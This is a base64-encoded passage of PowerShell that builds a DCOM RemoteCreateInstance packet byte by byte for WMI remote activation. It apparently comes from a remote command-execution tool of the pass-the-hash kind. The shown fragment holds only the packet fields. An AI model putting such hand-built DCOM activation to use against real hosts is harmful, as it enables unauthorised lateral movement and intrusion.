MCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNQcm9jZXNzUmVxdWVzdEZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzT3JpZ2luYWxDbGFzc0NvbnRleHQiLFtCeXRlW11dKDB4MTQsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNGbGFncyIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNVbnVzZWRCdWZmZXIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25JbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHg0OCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25JbmZvSW5zdGFudGlhdGVkT2JqZWN0Q2xzSWQiLFtCeXRlW11dKDB4NWUsMHhmMCwweGMzLDB4OGIsMHg2YiwweGQ4LDB4ZDAsMHgxMSwweGEwLDB4NzUsMHgwMCwweGMwLDB4NGYsMHhiNiwweDg4LDB4MjApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9DbGFzc0NvbnRleHQiLFtCeXRlW11dKDB4MTQsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9BY3RpdmF0aW9uRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9GbGFnc1N1cnJvZ2F0ZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW5mb0ludGVyZmFjZUlkQ291bnQiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9JbnN0YW50aWF0aW9uRmxhZyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzUHRyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25FbnRpcmVQcm9wZXJ0eVNpemUiLFtCeXRlW11dKDB4NTgsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvblZlcnNpb25NYWpvciIsW0J5dGVbXV0oMHgwNSwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDcsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkludGVyZmFjZUlkcyIsW0J5dGVbXV0oMHgxOCwweGFkLDB4MDksMHhmMywweDZhLDB4ZDgsMHhkMCwweDExLDB4YTAsMHg3NSwweDAwLDB4YzAsMHg0ZiwweGI2LDB4ODgsMHgyMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzVW51c2VkQnVmZmVyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb1ByaXZhdGVIZWFkZXIiLFtCeXRlW11dKDB4ODAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRPayIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvUmVzZXJ2ZWQzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvTlVMTFB0ciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0VW5rbm93biIsW0J5dGVbXV0oMHg2MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0Q250RGF0YSIsW0J5dGVbXV0oMHg2MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGU2lnbmF0dXJlIixbQnl0ZVtdXSgweDRkLDB4NDUsMHg0ZiwweDU3KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0ckNsaWVudENvbnRleHRPQkpSRUZGbGFncyIsW0J5dGVbXV0oMHgwNCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGSUlEIixbQnl0ZVtdXSgweGMwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0ckNsaWVudENvbnRleHRPQkpSRUZDVVNUT01PQkpSRUZDTFNJRCIsW0J5dGVbXV0oMHgzYiwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGQ1VTVE9NT0JKUkVGQ0JFeHRlbnNpb24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvQ2xpZW50UHRyQ2xpZW50Q29udGV4dE9CSlJFRkNVU1RPTU9CSlJFRlNpemUiLFtCeXRlW11dKDB4MzAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvVW51c2VkQnVmZmVyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMSwweDAwLDB4NjMsMHgyYywweDgwLDB4MmEsMHhhNSwweGQyLDB4YWYsMHhkZCwweDRkLDB4YzQsMHhiYiwweDM3LDB4NGQsMHgzNywweDc2LDB4ZDcsMHgwMiwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9Db21tb25IZWFkZXIiLFtCeXRlW11dKDB4MDEsMHgxMCwweDA4LDB4MDAsMHhjYywweGNjLDB4Y2MsMHhjYykpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9Qcml2YXRlSGVhZGVyIiwkcGFja2V0X3ByaXZhdGVfaGVhZGVyKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvQXV0aGVudGljYXRpb25GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvUHRyUmVmZXJlbnRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDIsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9OVUxMUHRyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NlY3VyaXR5SW5mb1NlcnZlckluZm9TZXJ2ZXJJbmZvUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lUmVmZXJlbnRJRCIsW0J5dGVbXV0oMHgwNCwweDAwLDB4MDIsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvU2VydmVySW5mb05VTExQdHIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lTWF4Q291bnQiLCRwYWNrZXRfdGFyZ2V0X2xlbmd0aCkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NlY3VyaXR5SW5mb1NlcnZlckluZm9TZXJ2ZXJJbmZvTmFtZU9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvU2VydmVySW5mb05hbWVBY3R1YWxDb3VudCIsJHBhY2tldF90YXJnZXRfbGVuZ3RoKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lU3RyaW5nIiwkcGFja2V0X3RhcmdldF91bmljb2RlKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvQ29tbW9uSGVhZGVyIixbQnl0ZVtdXSgweDAxLDB4MTAsMHgwOCwweDAwLDB4Y2MsMHhjYywweGNjLDB4Y2MpKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb05VTExQdHIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvUHJvY2Vzc0lEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb0FwYXJ0bWVudElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb0NvbnRleHRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHgyMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFR